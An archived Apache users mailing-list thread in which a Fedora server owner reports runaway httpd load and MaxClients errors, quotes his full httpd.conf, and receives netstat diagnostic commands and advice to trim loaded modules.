> > LoadModule authn_dbm_module modules/mod_authn_dbm.so
> > LoadModule authn_default_module modules/mod_authn_default.so
> > LoadModule authz_host_module modules/mod_authz_host.so
> > LoadModule authz_user_module modules/mod_authz_user.so
> > LoadModule authz_owner_module modules/mod_authz_owner.so
> > LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
> > LoadModule authz_dbm_module modules/mod_authz_dbm.so
> > LoadModule authz_default_module modules/mod_authz_default.so
> > LoadModule ldap_module modules/mod_ldap.so
> > LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
> > LoadModule include_module modules/mod_include.so
> > LoadModule log_config_module modules/mod_log_config.so
> > LoadModule logio_module modules/mod_logio.so
> > LoadModule env_module modules/mod_env.so
> > LoadModule ext_filter_module modules/mod_ext_filter.so
> > LoadModule mime_magic_module modules/mod_mime_magic.so
> > LoadModule expires_module modules/mod_expires.so
> > LoadModule deflate_module modules/mod_deflate.so
> > LoadModule headers_module modules/mod_headers.so
> > LoadModule usertrack_module modules/mod_usertrack.so
> > LoadModule setenvif_module modules/mod_setenvif.so
> > LoadModule mime_module modules/mod_mime.so
> > LoadModule dav_module modules/mod_dav.so
> > LoadModule status_module modules/mod_status.so
> > LoadModule autoindex_module modules/mod_autoindex.so
> > LoadModule info_module modules/mod_info.so
> > LoadModule dav_fs_module modules/mod_dav_fs.so
> > LoadModule vhost_alias_module modules/mod_vhost_alias.so
> > LoadModule negotiation_module modules/mod_negotiation.so
> > LoadModule dir_module modules/mod_dir.so
> > LoadModule actions_module modules/mod_actions.so
> > LoadModule speling_module modules/mod_speling.so
> > LoadModule userdir_module modules/mod_userdir.so
> > LoadModule alias_module modules/mod_alias.so
> > LoadModule rewrite_module modules/mod_rewrite.so
> > LoadModule proxy_module modules/mod_proxy.so
> > LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
> > LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
> > LoadModule proxy_http_module modules/mod_proxy_http.so
> > LoadModule proxy_connect_module modules/mod_proxy_connect.so
> > LoadModule cache_module modules/mod_cache.so
> > LoadModule suexec_module modules/mod_suexec.so
> > LoadModule disk_cache_module modules/mod_disk_cache.so
> > LoadModule cgi_module modules/mod_cgi.so
> >
> > #
> > # The following modules are not loaded by default:
> > #
> > #LoadModule cern_meta_module modules/mod_cern_meta.so
> > #LoadModule asis_module modules/mod_asis.so
> >
> > #
> > # Load config files from the config directory "/etc/httpd/conf.d".
> > #
> > Include conf.d/*.conf
> >
> > #
> > # ExtendedStatus controls whether Apache will generate "full" status
> > # information (ExtendedStatus On) or just basic information
> > (ExtendedStatus
> > # Off) when the "server-status" handler is called. The default is Off.
> > #
> > ExtendedStatus On
> >
> > #
> > # If you wish httpd to run as a different user or group, you must run
> > # httpd as root initially and it will switch.
> > #
> > # User/Group: The name (or #number) of the user/group to run httpd as.
> > #  . On SCO (ODT 3) use "User nouser" and "Group nogroup".
> > #  . On HPUX you may not be able to use shared memory as nobody, and
> > the
> > #    suggested workaround is to create a user www and use that user.
> > #  NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET)
> > #  when the value of (unsigned)Group is above 60000;
> > #  don't use Group #-1 on these systems!
> > #
> > User apache
> > Group apache
> >
> > ### Section 2: 'Main' server configuration
> > #
> > # The directives in this section set up the values used by the 'main'
> > # server, which responds to any requests that aren't handled by a
> > # <VirtualHost> definition.  These values also provide defaults for
> > # any <VirtualHost> containers you may define later in the file.
> > #
> > # All of these directives may appear inside <VirtualHost> containers,
> > # in which case these default settings will be overridden for the
> > # virtual host being defined.
> > #
> >
> > #
> > # ServerAdmin: Your address, where problems with the server should be
> > # e-mailed.  This address appears on some server-generated pages, such
> > # as error documents.  e.g. admin@your-domain.com
> > #
> > ServerAdmin dan.bunyard@att.net
> >
> > #
> > # ServerName gives the name and port that the server uses to identify
> > itself.
> > # This can often be determined automatically, but we recommend you
> > specify
> > # it explicitly to prevent problems during startup.
> > #
> > # If this is not set to valid DNS name for your host, server-generated
> > # redirections will not work.  See also the UseCanonicalName
> > directive.
> > #
> > # If your host doesn't have a registered DNS name, enter its IP
> > address here.
> > # You will have to access it by its address anyway, and this will
> > make
> > # redirections work in a sensible way.
> > #
> > ServerName server.danodemano.com:80
> >
> > #
> > # UseCanonicalName: Determines how Apache constructs self-referencing
> > # URLs and the SERVER_NAME and SERVER_PORT variables.
> > # When set "Off", Apache will use the Hostname and Port supplied
> > # by the client.  When set "On", Apache will use the value of the
> > # ServerName directive.
> > #
> > UseCanonicalName Off
> >
> > #
> > # DocumentRoot: The directory out of which you will serve your
> > # documents. By default, all requests are taken from this directory,
> > but
> > # symbolic links and aliases may be used to point to other locations.
> > #
> > DocumentRoot "/var/www/html"
> >
> > #
> > # Each directory to which Apache has access can be configured with
> > respect
> > # to which services and features are allowed and/or disabled in that
> > # directory (and its subdirectories).
> > #
> > # First, we configure the "default" to be a very restrictive set of
> > # features.
> > #
> > <Directory />
> >     Options FollowSymLinks
> >     AllowOverride None
> > </Directory>
> >
> > #
> > # Note that from this point forward you must specifically allow
> > # particular features to be enabled - so if something's not working as
> > # you might expect, make sure that you have specifically enabled it
> > # below.
> > #
> >
> > #
> > # This should be changed to whatever you set DocumentRoot to.
> > #
> > <Directory "/var/www/html">
> >
> > #
> > # Possible values for the Options directive are "None", "All",
> > # or any combination of:
> > #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI
> > MultiViews
> > #
> > # Note that "MultiViews" must be named *explicitly* --- "Options All"
> > # doesn't give it to you.
> > #
> > # The Options directive is both complicated and important.  Please see
> > # http://httpd.apache.org/docs/2.2/mod/core.html#options
> > # for more information.
> > #
> >     Options Indexes FollowSymLinks
> >
> > #
> > # AllowOverride controls what directives may be placed in .htaccess
> > files.
> > # It can be "All", "None", or any combination of the keywords:
> > #   Options FileInfo AuthConfig Limit
> > #
> >     AllowOverride All
> >
> > #
> > # Controls who can get stuff from this server.
> > #
> >     Order allow,deny
> >     Allow from all
> >
> > </Directory>
> >
> > #Allow access to firestats images
> > <Directory /var/www/html/firestats/img>
> >     AllowOverride None
> > </Directory>
> >
> > #
> > # UserDir: The name of the directory that is appended onto a user's
> > home
> > # directory if a ~user request is received.
> > #
> > # The path to the end user account 'public_html' directory must be
> > # accessible to the webserver userid.  This usually means that ~userid
> > # must have permissions of 711, ~userid/public_html must have
> > permissions
> > # of 755, and documents contained therein must be world-readable.
> > # Otherwise, the client will only receive a "403 Forbidden" message.
> > #
> > # See also: http://httpd.apache.org/docs/misc/FAQ.html#forbidden
> > #
> > <IfModule mod_userdir.c>
> >     #
> >     # UserDir is disabled by default since it can confirm the presence
> >     # of a username on the system (depending on home directory
> >     # permissions).
> >     #
> >     UserDir disabled
> >
> >     #
> >     # To enable requests to /~user/ to serve the user's public_html
> >     # directory, remove the "UserDir disabled" line above, and
> > uncomment
> >     # the following line instead:
> >     #
> >     #UserDir public_html
> >
> > </IfModule>
> >
> > #
> > # Control access to UserDir directories.  The following is an example
> > # for a site where these directories are restricted to read-only.
> > #
> > #<Directory /home/*/public_html>
> > #    AllowOverride FileInfo AuthConfig Limit
> > #    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
> > #    <Limit GET POST OPTIONS>
> > #        Order allow,deny
> > #        Allow from all
> > #    </Limit>
> > #    <LimitExcept GET POST OPTIONS>
> > #        Order deny,allow
> > #        Deny from all
> > #    </LimitExcept>
> > #</Directory>
> >
> > #
> > # DirectoryIndex: sets the file that Apache will serve if a directory
> > # is requested.
> > #
> > # The index.html.var file (a type-map) is used to deliver content-
> > # negotiated documents.  The MultiViews Option can be used for the
> > # same purpose, but it is much slower.
> > #
> > DirectoryIndex index.html index.html.var
> >
> > #
> > # AccessFileName: The name of the file to look for in each directory
> > # for additional configuration directives.  See also the AllowOverride
> > # directive.
> > #
> > AccessFileName .htaccess
> >
> > #
> > # The following lines prevent .htaccess and .htpasswd files from
> > being
> > # viewed by Web clients.
> > #
> > <Files ~ "^\.ht">
> >     Order allow,deny
> >     Deny from all
> > </Files>
> >
> > #
> > # TypesConfig describes where the mime.types file (or equivalent) is
> > # to be found.
> > #
> > TypesConfig /etc/mime.types
> >
> > #
> > # DefaultType is the default MIME type the server will use for a
> > document
> > # if it cannot otherwise determine one, such as from filename
> > extensions.
> > # If your server contains mostly text or HTML documents, "text/plain"
> > is
> > # a good value.  If most of your content is binary, such as
> > applications
> > # or images, you may want to use "application/octet-stream" instead to
> > # keep browsers from trying to display binary files as though they are
> > # text.
> > #
> > DefaultType text/plain
> >
> > #
> > # The mod_mime_magic module allows the server to use various hints
> > from the
> > # contents of the file itself to determine its type.  The
> > MIMEMagicFile
> > # directive tells the module where the hint definitions are located.
> > #
> > <IfModule mod_mime_magic.c>
> > #   MIMEMagicFile /usr/share/magic.mime
> >     MIMEMagicFile conf/magic
> > </IfModule>
> >
> > #
> > # HostnameLookups: Log the names of clients or just their IP addresses
> > # e.g., www.apache.org (on) or 204.62.129.132 (off).
> > # The default is off because it'd be overall better for the net if
> > people
> > # had to knowingly turn this feature on, since enabling it means that
> > # each client request will result in AT LEAST one lookup request to
> > the
> > # nameserver.
> > #
> > HostnameLookups Off
> >
> > #
> > # EnableMMAP: Control whether memory-mapping is used to deliver
> > # files (assuming that the underlying OS supports it).
> > # The default is on; turn this off if you serve from NFS-mounted
> > # filesystems.  On some systems, turning it off (regardless of
> > # filesystem) can improve performance; for details, please see
> > # http://httpd.apache.org/docs/2.2/mod/core.html#enablemmap
> > #
> > #EnableMMAP off
> >
> > #
> > # EnableSendfile: Control whether the sendfile kernel support is
> > # used to deliver files (assuming that the OS supports it).
> > # The default is on; turn this off if you serve from NFS-mounted
> > # filesystems.  Please see
> > # http://httpd.apache.org/docs/2.2/mod/core.html#enablesendfile
> > #
> > #EnableSendfile off
> >
> > #
> > # ErrorLog: The location of the error log file.
> > # If you do not specify an ErrorLog directive within a <VirtualHost>
> > # container, error messages relating to that virtual host will be
> > # logged here.  If you *do* define an error logfile for a
> > <VirtualHost>
> > # container, that host's errors will be logged there and not here.
> > #
> > ErrorLog logs/error_log
> >
> > #
> > # LogLevel: Control the number of messages logged to the error_log.
> > # Possible values include: debug, info, notice, warn, error, crit,
> > # alert, emerg.
> > #
> > LogLevel warn
> >
> > #
> > # The following directives define some format nicknames for use with
> > # a CustomLog directive (see below).
> > #
> > LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i
> > \"" combined
> > LogFormat "%h %l %u %t \"%r\" %>s %b" common
> > LogFormat "%{Referer}i -> %U" referer
> > LogFormat "%{User-agent}i" agent
> >
> > # "combinedio" includes actual counts of actual bytes received (%I)
> > and sent (%O); this
> > # requires the mod_logio module to be loaded.
> > #LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i
> > \" %I %O" combinedio
> >
> > #
> > # The location and format of the access logfile (Common Logfile
> > Format).
> > # If you do not define any access logfiles within a <VirtualHost>
> > # container, they will be logged here.  Contrariwise, if you *do*
> > # define per-<VirtualHost> access logfiles, transactions will be
> > # logged therein and *not* in this file.
> > #
> > #CustomLog logs/access_log common
> >
> > #
> > # If you would like to have separate agent and referer logfiles,
> > uncomment
> > # the following directives.
> > #
> > #CustomLog logs/referer_log referer
> > #CustomLog logs/agent_log agent
> >
> > #
> > # For a single logfile with access, agent, and referer information
> > # (Combined Logfile Format), use the following directive:
> > #
> > CustomLog logs/access_log combined
> >
> > #
> > # Optionally add a line containing the server version and virtual host
> > # name to server-generated pages (internal error documents, FTP
> > directory
> > # listings, mod_status and mod_info output etc., but not CGI generated
> > # documents or custom error documents).
> > # Set to "EMail" to also include a mailto: link to the ServerAdmin.
> > # Set to one of:  On | Off | EMail
> > #
> > ServerSignature On
> >
> > #
> > # Aliases: Add here as many aliases as you need (with no limit). The
> > format is
> > # Alias fakename realname
> > #
> > # Note that if you include a trailing / on fakename then the server
> > will
> > # require it to be present in the URL.  So "/icons" isn't aliased in
> > this
> > # example, only "/icons/".  If the fakename is slash-terminated, then
> > the
> > # realname must also be slash terminated, and if the fakename omits
> > the
> > # trailing slash, the realname must also omit it.
> > #
> > # We include the /icons/ alias for FancyIndexed directory listings.
> > If you
> > # do not use FancyIndexing, you may comment this out.
> > #
> > Alias /icons/ "/var/www/icons/"
> >
> > <Directory "/var/www/icons">
> >     Options Indexes MultiViews FollowSymLinks
> >     AllowOverride None
> >     Order allow,deny
> >     Allow from all
> > </Directory>
> >
> > #
> > # WebDAV module configuration section.
> > #
> > <IfModule mod_dav_fs.c>
> >     # Location of the WebDAV lock database.
> >     DAVLockDB /var/lib/dav/lockdb
> > </IfModule>
> >
> > #
> > # ScriptAlias: This controls which directories contain server scripts.
> > # ScriptAliases are essentially the same as Aliases, except that
> > # documents in the realname directory are treated as applications and
> > # run by the server when requested rather than as documents sent to
> > the client.
> > # The same rules about trailing "/" apply to ScriptAlias directives as
> > to
> > # Alias.
> > #
> > ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
> >
> > #
> > # "/var/www/cgi-bin" should be changed to whatever your ScriptAliased
> > # CGI directory exists, if you have that configured.
> > #
> > <Directory "/var/www/cgi-bin">
> >     AllowOverride None
> >     Options None
> >     Order allow,deny
> >     Allow from all
> > </Directory>
> >
> > #
> > # Redirect allows you to tell clients about documents which used to
> > exist in
> > # your server's namespace, but do not anymore. This allows you to tell
> > the
> > # clients where to look for the relocated document.
> > # Example:
> > # Redirect permanent /foo http://www.example.com/bar
> >
> > #
> > # Directives controlling the display of server-generated directory
> > listings.
> > #
> >
> > #
> > # IndexOptions: Controls the appearance of server-generated directory
> > # listings.
> > #
> > IndexOptions FancyIndexing VersionSort NameWidth=* HTMLTable
> > Charset=UTF-8
> >
> > #
> > # AddIcon* directives tell the server which icon to show for different
> > # files or filename extensions.  These are only displayed for
> > # FancyIndexed directories.
> > #
> > AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
> >
> > AddIconByType (TXT,/icons/text.gif) text/*
> > AddIconByType (IMG,/icons/image2.gif) image/*
> > AddIconByType (SND,/icons/sound2.gif) audio/*
> > AddIconByType (VID,/icons/movie.gif) video/*
> >
> > AddIcon /icons/binary.gif .bin .exe
> > AddIcon /icons/binhex.gif .hqx
> > AddIcon /icons/tar.gif .tar
> > AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
> > AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
> > AddIcon /icons/a.gif .ps .ai .eps
> > AddIcon /icons/layout.gif .html .shtml .htm .pdf
> > AddIcon /icons/text.gif .txt
> > AddIcon /icons/c.gif .c
> > AddIcon /icons/p.gif .pl .py
> > AddIcon /icons/f.gif .for
> > AddIcon /icons/dvi.gif .dvi
> > AddIcon /icons/uuencoded.gif .uu
> > AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
> > AddIcon /icons/tex.gif .tex
> > AddIcon /icons/bomb.gif core
> >
> > AddIcon /icons/back.gif ..
> > AddIcon /icons/hand.right.gif README
> > AddIcon /icons/folder.gif ^^DIRECTORY^^
> > AddIcon /icons/blank.gif ^^BLANKICON^^
> >
> > #
> > # DefaultIcon is which icon to show for files which do not have an
> > icon
> > # explicitly set.
> > #
> > DefaultIcon /icons/unknown.gif
> >
> > #
> > # AddDescription allows you to place a short description after a file
> > in
> > # server-generated indexes.  These are only displayed for FancyIndexed
> > # directories.
> > # Format: AddDescription "description" filename
> > #
> > #AddDescription "GZIP compressed document" .gz
> > #AddDescription "tar archive" .tar
> > #AddDescription "GZIP compressed tar archive" .tgz
> >
> > #
> > # ReadmeName is the name of the README file the server will look for
> > by
> > # default, and append to directory listings.
> > #
> > # HeaderName is the name of a file which should be prepended to
> > # directory indexes.
> > ReadmeName README.html
> > HeaderName HEADER.html
> >
> > #
> > # IndexIgnore is a set of filenames which directory indexing should
> > ignore
> > # and not include in the listing.  Shell-style wildcarding is
> > permitted.
> > #
> > IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t
> >
> > #
> > # DefaultLanguage and AddLanguage allows you to specify the language
> > of
> > # a document. You can then use content negotiation to give a browser
> > a
> > # file in a language the user can understand.
> > #
> > # Specify a default language. This means that all data
> > # going out without a specific language tag (see below) will
> > # be marked with this one. You probably do NOT want to set
> > # this unless you are sure it is correct for all cases.
> > #
> > # * It is generally better to not mark a page as
> > # * being a certain language than marking it with the wrong
> > # * language!
> > #
> > # DefaultLanguage nl
> > #
> > # Note 1: The suffix does not have to be the same as the language
> > # keyword --- those with documents in Polish (whose net-standard
> > # language code is pl) may wish to use "AddLanguage pl .po" to
> > # avoid the ambiguity with the common suffix for perl scripts.
> > #
> > # Note 2: The example entries below illustrate that in some cases
> > # the two character 'Language' abbreviation is not identical to
> > # the two character 'Country' code for its country,
> > # E.g. 'Danmark/dk' versus 'Danish/da'.
> > #
> > # Note 3: In the case of 'ltz' we violate the RFC by using a three
> > char
> > # specifier. There is 'work in progress' to fix this and get
> > # the reference data for rfc1766 cleaned up.
> > #
> > # Catalan (ca) - Croatian (hr) - Czech (cs) - Danish (da) - Dutch (nl)
> > # English (en) - Esperanto (eo) - Estonian (et) - French (fr) - German
> > (de)
> > # Greek-Modern (el) - Hebrew (he) - Italian (it) - Japanese (ja)
> > # Korean (ko) - Luxembourgeois* (ltz) - Norwegian Nynorsk (nn)
> > # Norwegian (no) - Polish (pl) - Portugese (pt)
> > # Brazilian Portuguese (pt-BR) - Russian (ru) - Swedish (sv)
> > # Simplified Chinese (zh-CN) - Spanish (es) - Traditional Chinese
> > (zh-TW)
> > #
> > AddLanguage ca .ca
> > AddLanguage cs .cz .cs
> > AddLanguage da .dk
> > AddLanguage de .de
> > AddLanguage el .el
> > AddLanguage en .en
> > AddLanguage eo .eo
> > AddLanguage es .es
> > AddLanguage et .et
> > AddLanguage fr .fr
> > AddLanguage he .he
> > AddLanguage hr .hr
> > AddLanguage it .it
> > AddLanguage ja .ja
> > AddLanguage ko .ko
> > AddLanguage ltz .ltz
> > AddLanguage nl .nl
> > AddLanguage nn .nn
> > AddLanguage no .no
> > AddLanguage pl .po
> > AddLanguage pt .pt
> > AddLanguage pt-BR .pt-br
> > AddLanguage ru .ru
> > AddLanguage sv .sv
> > AddLanguage zh-CN .zh-cn
> > AddLanguage zh-TW .zh-tw
> >
> > #
> > # LanguagePriority allows you to give precedence to some languages
> > # in case of a tie during content negotiation.
> > #
> > # Just list the languages in decreasing order of preference. We have
> > # more or less alphabetized them here. You probably want to change
> > this.
> > #
> > LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl
> > nn no pl pt pt-BR ru sv zh-CN zh-TW
> >
> > #
> > # ForceLanguagePriority allows you to serve a result page rather than
> > # MULTIPLE CHOICES (Prefer) [in case of a tie] or NOT ACCEPTABLE
> > (Fallback)
> > # [in case no accepted languages matched the available variants]
> > #
> > ForceLanguagePriority Prefer Fallback
> >
> > #
> > # Specify a default charset for all content served; this enables
> > # interpretation of all content as UTF-8 by default.  To use the
> > # default browser choice (ISO-8859-1), or to allow the META tags
> > # in HTML content to override this choice, comment out this
> > # directive:
> > #
> > AddDefaultCharset UTF-8
> >
> > #
> > # AddType allows you to add to or override the MIME configuration
> > # file mime.types for specific file types.
> > #
> > #AddType application/x-tar .tgz
> >
> > #
> > # AddEncoding allows you to have certain browsers uncompress
> > # information on the fly. Note: Not all browsers support this.
> > # Despite the name similarity, the following Add* directives have
> > nothing
> > # to do with the FancyIndexing customization directives above.
> > #
> > #AddEncoding x-compress .Z
> > #AddEncoding x-gzip .gz .tgz
> >
> > # If the AddEncoding directives above are commented-out, then you
> > # probably should define those extensions to indicate media types:
> > #
> > AddType application/x-compress .Z
> > AddType application/x-gzip .gz .tgz
> >
> > #
> > #   MIME-types for downloading Certificates and CRLs
> > #
> > AddType application/x-x509-ca-cert .crt
> > AddType application/x-pkcs7-crl    .crl
> >
> > #
> > # AddHandler allows you to map certain file extensions to "handlers":
> > # actions unrelated to filetype. These can be either built into the
> > server
> > # or added with the Action directive (see below)
> > #
> > # To use CGI scripts outside of ScriptAliased directories:
> > # (You will also need to add "ExecCGI" to the "Options" directive.)
> > #
> > #AddHandler cgi-script .cgi
> >
> > #
> > # For files that include their own HTTP headers:
> > #
> > #AddHandler send-as-is asis
> >
> > #
> > # For type maps (negotiated resources):
> > # (This is enabled by default to allow the Apache "It Worked" page
> > #  to be distributed in multiple languages.)
> > #
> > AddHandler type-map var
> >
> > #
> > # Filters allow you to process content before it is sent to the
> > client.
> > #
> > # To parse .shtml files for server-side includes (SSI):
> > # (You will also need to add "Includes" to the "Options" directive.)
> > #
> > AddType text/html .shtml
> > AddOutputFilter INCLUDES .shtml
> >
> > #
> > # Action lets you define media types that will execute a script
> > whenever
> > # a matching file is called. This eliminates the need for repeated URL
> > # pathnames for oft-used CGI file processors.
> > # Format: Action media/type /cgi-script/location
> > # Format: Action handler-name /cgi-script/location
> > #
> >
> > #
> > # Customizable error responses come in three flavors:
> > # 1) plain text 2) local redirects 3) external redirects
> > #
> > # Some examples:
> > #ErrorDocument 500 "The server made a boo boo."
> > #ErrorDocument 404 /missing.html
> > #ErrorDocument 404 "/cgi-bin/missing_handler.pl"
> > #ErrorDocument 402 http://www.example.com/subscription_info.html
> > #
> >
> > #
> > # Putting this all together, we can internationalize error responses.
> > #
> > # We use Alias to redirect any /error/HTTP_<error>.html.var response
> > to
> > # our collection of by-error message multi-language collections.  We
> > use
> > # includes to substitute the appropriate text.
> > #
> > # You can modify the messages' appearance without changing any of the
> > # default HTTP_<error>.html.var files by adding the line:
> > #
> > #   Alias /error/include/ "/your/include/path/"
> > #
> > # which allows you to create your own set of files by starting with
> > the
> > # /var/www/error/include/ files and
> > # copying them to /your/include/path/, even on a per-VirtualHost
> > basis.
> > #
> >
> > Alias /error/ "/var/www/error/"
> >
> > <IfModule mod_negotiation.c>
> > <IfModule mod_include.c>
> >     <Directory "/var/www/error">
> >         AllowOverride None
> >         Options IncludesNoExec
> >         AddOutputFilter Includes html
> >         AddHandler type-map var
> >         Order allow,deny
> >         Allow from all
> >         LanguagePriority en es de fr
> >         ForceLanguagePriority Prefer Fallback
> >     </Directory>
> >
> > #    ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var
> > #    ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var
> > #    ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var
> > #    ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var
> > #    ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var
> > #    ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var
> > #    ErrorDocument 410 /error/HTTP_GONE.html.var
> > #    ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var
> > #    ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var
> > #    ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var
> > #    ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var
> > #    ErrorDocument 415 /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.var
> > #    ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var
> > #    ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var
> > #    ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var
> > #    ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var
> > #    ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var
> >
> > </IfModule>
> > </IfModule>
> >
> > #
> > # The following directives modify normal HTTP response behavior to
> > # handle known problems with browser implementations.
> > #
> > BrowserMatch "Mozilla/2" nokeepalive
> > BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0
> > force-response-1.0
> > BrowserMatch "RealPlayer 4\.0" force-response-1.0
> > BrowserMatch "Java/1\.0" force-response-1.0
> > BrowserMatch "JDK/1\.0" force-response-1.0
> >
> > #
> > # The following directive disables redirects on non-GET requests for
> > # a directory that does not include the trailing slash.  This fixes a
> > # problem with Microsoft WebFolders which does not appropriately
> > handle
> > # redirects for folders with DAV methods.
> > # Same deal with Apple's DAV filesystem and Gnome VFS support for DAV.
> > #
> > BrowserMatch "Microsoft Data Access Internet Publishing Provider"
> > redirect-carefully
> > BrowserMatch "MS FrontPage" redirect-carefully
> > BrowserMatch "^WebDrive" redirect-carefully
> > BrowserMatch "^WebDAVFS/1.[0123]" redirect-carefully
> > BrowserMatch "^gnome-vfs/1.0" redirect-carefully
> > BrowserMatch "^XML Spy" redirect-carefully
> > BrowserMatch "^Dreamweaver-WebDAV-SCM1" redirect-carefully
> >
> > #
> > # Allow server status reports generated by mod_status,
> > # with the URL of http://servername/server-status
> > # Change the ".example.com" to match your domain to enable.
> > #
> > #<Location /server-status>
> > #    SetHandler server-status
> > #    Order deny,allow
> > #    Deny from all
> > #    Allow from .example.com
> > #</Location>
> >
> > #
> > # Allow remote server configuration reports, with the URL of
> > #  http://servername/server-info (requires that mod_info.c be loaded).
> > # Change the ".example.com" to match your domain to enable.
> > #
> > #<Location /server-info>
> > #    SetHandler server-info
> > #    Order deny,allow
> > #    Deny from all
> > #    Allow from .example.com
> > #</Location>
> >
> > #
> > # Proxy Server directives. Uncomment the following lines to
> > # enable the proxy server:
> > #
> > #<IfModule mod_proxy.c>
> > #ProxyRequests On
> > #
> > #<Proxy *>
> > #    Order deny,allow
> > #    Deny from all
> > #    Allow from .example.com
> > #</Proxy>
> >
> > #
> > # Enable/disable the handling of HTTP/1.1 "Via:" headers.
> > # ("Full" adds the server version; "Block" removes all outgoing Via:
> > headers)
> > # Set to one of: Off | On | Full | Block
> > #
> > #ProxyVia On
> >
> > #
> > # To enable a cache of proxied content, uncomment the following lines.
> > # See http://httpd.apache.org/docs/2.2/mod/mod_cache.html for more
> > details.
> > #
> > #<IfModule mod_disk_cache.c>
> > #   CacheEnable disk /
> > #   CacheRoot "/var/cache/mod_proxy"
> > #</IfModule>
> > #
> >
> > #</IfModule>
> > # End of proxy directives.
> >
> > ### Section 3: Virtual Hosts
> > #
> > # VirtualHost: If you want to maintain multiple domains/hostnames on
> > your
> > # machine you can setup VirtualHost containers for them. Most
> > configurations
> > # use only name-based virtual hosts so the server doesn't need to
> > worry about
> > # IP addresses. This is indicated by the asterisks in the directives
> > below.
> > #
> > # Please see the documentation at
> > # <URL:http://httpd.apache.org/docs/2.2/vhosts/>
> > # for further details before you try to setup virtual hosts.
> > #
> > # You may use the command line option '-S' to verify your virtual host
> > # configuration.
> >
> > #
> > # Use name-based virtual hosting.
> > #
> > NameVirtualHost *:80
> > #
> > # NOTE: NameVirtualHost cannot be used without a port specifier
> > # (e.g. :80) if mod_ssl is being used, due to the nature of the
> > # SSL protocol.
> > #
> >
> > #
> > # VirtualHost example:
> > # Almost any Apache directive may go into a VirtualHost container.
> > # The first VirtualHost section is used for requests without a known
> > # server name.
> > #
> > #<VirtualHost *:80>
> > #    ServerAdmin webmaster@dummy-host.example.com
> > #    DocumentRoot /www/docs/dummy-host.example.com
> > #    ServerName dummy-host.example.com
> > #    ErrorLog logs/dummy-host.example.com-error_log
> > #    CustomLog logs/dummy-host.example.com-access_log common
> > #</VirtualHost>
> >
> > <!--Snipped all my virtual hosts to cut down on message size, they are
> > in the conf-->
> >
> > ---------------------------------------------------------------------
> > The official User-To-User support forum of the Apache HTTP Server
> Project.
> > See <URL:http://httpd.apache.org/userslist.html> for more info.
> > To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
> >    "   from the digest: users-digest-unsubscribe@httpd.apache.org
> > For additional commands, e-mail: users-help@httpd.apache.org
>
> --
> Mark Watts BSc RHCE MBCS
> Senior Systems Engineer, Managed Services Manpower
> www.QinetiQ.com
> QinetiQ - Delivering customer-focused solutions
> GPG Key: http://www.linux-corner.info/mwatts.gpg
>

Re: [users@httpd] Runaway Apache Process

Posted by Mark Watts <m....@eris.qinetiq.com>.
Next time your system goes wonky, check the following:

# netstat -plant | grep httpd | grep -c ESTABLISHED

This should say 100 or so, indicating you've filled MaxClients worth of
processes.

You might want to try this, which should tell you how many connections
each IP address connecting to you is using:

# netstat -lant | grep ESTABLISHED | awk '{print $5}' | cut -d ":" -f1 |
sort | uniq -c



As an aside, you're loading all the modules under the sun which won't be
helping your memory consumption much. I'd consider trimming to those
modules you know you need.

Mark.


On Tue, 2010-01-26 at 20:28 -0500, Dan Bunyard wrote:
> This has happened twice now and it's a little bit concerning to me. I
> have a Fedora 12 server with 5GB of RAM that I use to host a few small
> web sites of mine. As I mentioned, this happened once before. I tried
> to load one of my web sites today and it took FOREVER (as in the 10s
> of minutes) to load. I SSHed into the box and found the load average
> around 100 (dual core machine). Since this was the second time it had
> happened, I knew that it was Apache causing it. So I restarted the
> Apache service and everything returned to normal. A look in the
> error_log showed this error:
> 
> server reached MaxClients setting, consider raising the MaxClients
> setting
> 
> I suspect that this is the reason that Apache was eating up all my
> system resources but I don't have any idea how to fix it. 
> 
> I do use PHP and MySQL fairly heavily. All the sites on the server use
> PHP in some form and most of the use MySQL. Could this be part of the
> problem? I attached a copy of my httpd.conf file to this message if
> that will help (It's also inserted into this email at the very
> bottom).
> 
> Any help would be appreciated!!!
> Thanks,
> --
> Dan
> 
> http://www.moonlightrpg.com
> http://www.linkedin.com/in/danbunyard
> http://www.danodemano.com
> http://www.dansrandomness.com
> http://www.danandshelley.com
> 
> This is not a problem that requires infinite wisdom, Benj. This is a
> problem that requires enough neural organization to qualify as a
> vertebrate, apparently a stretch for some folks these days.
> ~Cecil Adams.
> 
> 
> httpd.conf
> #
> # This is the main Apache server configuration file.  It contains the
> # configuration directives that give the server its instructions.
> # See <URL:http://httpd.apache.org/docs/2.2/> for detailed
